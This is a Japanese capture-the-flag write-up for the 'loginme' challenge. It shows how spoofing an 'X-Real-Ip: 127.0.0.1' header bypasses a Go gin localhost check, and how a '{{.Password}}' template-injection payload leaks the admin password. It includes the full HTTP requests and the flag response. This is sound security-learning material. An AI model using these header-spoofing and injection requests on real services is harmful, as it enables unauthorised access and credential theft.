## loginme
http://124.71.166.197:18001/Try to loginme!
## writeup
main.goを見ると`authorized.Use(middleware.LocalRequired())`と書かれている箇所があり，この結果をもとに，localhostからのリクエストか外部からのリクエストか判断しているようです．また，localhostからのアクセス以外は受け付けていません．
そこでmiddleware.goを読みます．
```gofunc LocalRequired() gin.HandlerFunc {	return func(c *gin.Context) {		if c.GetHeader("x-forwarded-for") != "" || c.GetHeader("x-client-ip") != "" {			c.AbortWithStatus(403)			return		}		ip := c.ClientIP()		if ip == "127.0.0.1" {			c.Next()		} else {			c.AbortWithStatus(401)		}	}}```
`c.ClientIP()`の値が`127.0.0.1`かどうかでlocalhostか判断しています．Go ginのドキュメントを読みます．[https://pkg.go.dev/github.com/gin-gonic/gin#Context.ClientIP](https://pkg.go.dev/github.com/gin-gonic/gin#Context.ClientIP)
するとこのようにかかれています
> ClientIP implements one best effort algorithm to return the real client IP. It called c.RemoteIP() under the hood, to check if the remote IP is a trusted proxy or not. If it is it will then try to parse the headers defined in Engine.RemoteIPHeaders (defaulting to [X-Forwarded-For, X-Real-Ip]). If the headers are not syntactically valid OR the remote IP does not correspond to a trusted proxy, the remote IP (coming form Request.RemoteAddr) is returned.
`X-Real-Ip`でも判断できるようです．そこでHTTPヘッダーを以下のように変更します．
```txtGET /admin/index?id=0 HTTP/1.1Host: 124.71.166.197:18001Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: ja,en-US;q=0.9,en;q=0.8X-Real-Ip: 127.0.0.1Connection: close```
するとAdminページにつながります．次はAdminのパスワードを入手します．
`route.go`を見ると，`c.GetQuery("age")`で`age`を取得して，`html := fmt.Sprintf(templates.AdminIndexTemplateHtml, age)`で表示しています．ここで，GoのtemplateでSSTIができるか考えます．
[https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
このような記述がありました．
>  we could even add a {{.Password}} to leak the users password, and take over the account.
よってクエリパラメータを以下のように変更します．
`/admin/index?id=0&age={{.Password}}`
最終的なHTTPヘッダーはこのようになります．
```txtGET /admin/index?id=0&age={{.Password}} HTTP/1.1Host: 124.71.166.197:18001Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: ja,en-US;q=0.9,en;q=0.8X-Real-Ip: 127.0.0.1Connection: close```
するとフラグが入手できました．
```htmlHTTP/1.1 200 OKDate: Sat, 25 Dec 2021 10:50:40 GMTContent-Length: 96Content-Type: text/html; charset=utf-8Connection: close
<html>	<h1>		Hello Admin	</h1>	<h2>		Your Age: SCTF{E@zy_SIGn_Ch3eR!}	</h2></html>```
**SCTF{E@zy_SIGn_Ch3eR!}**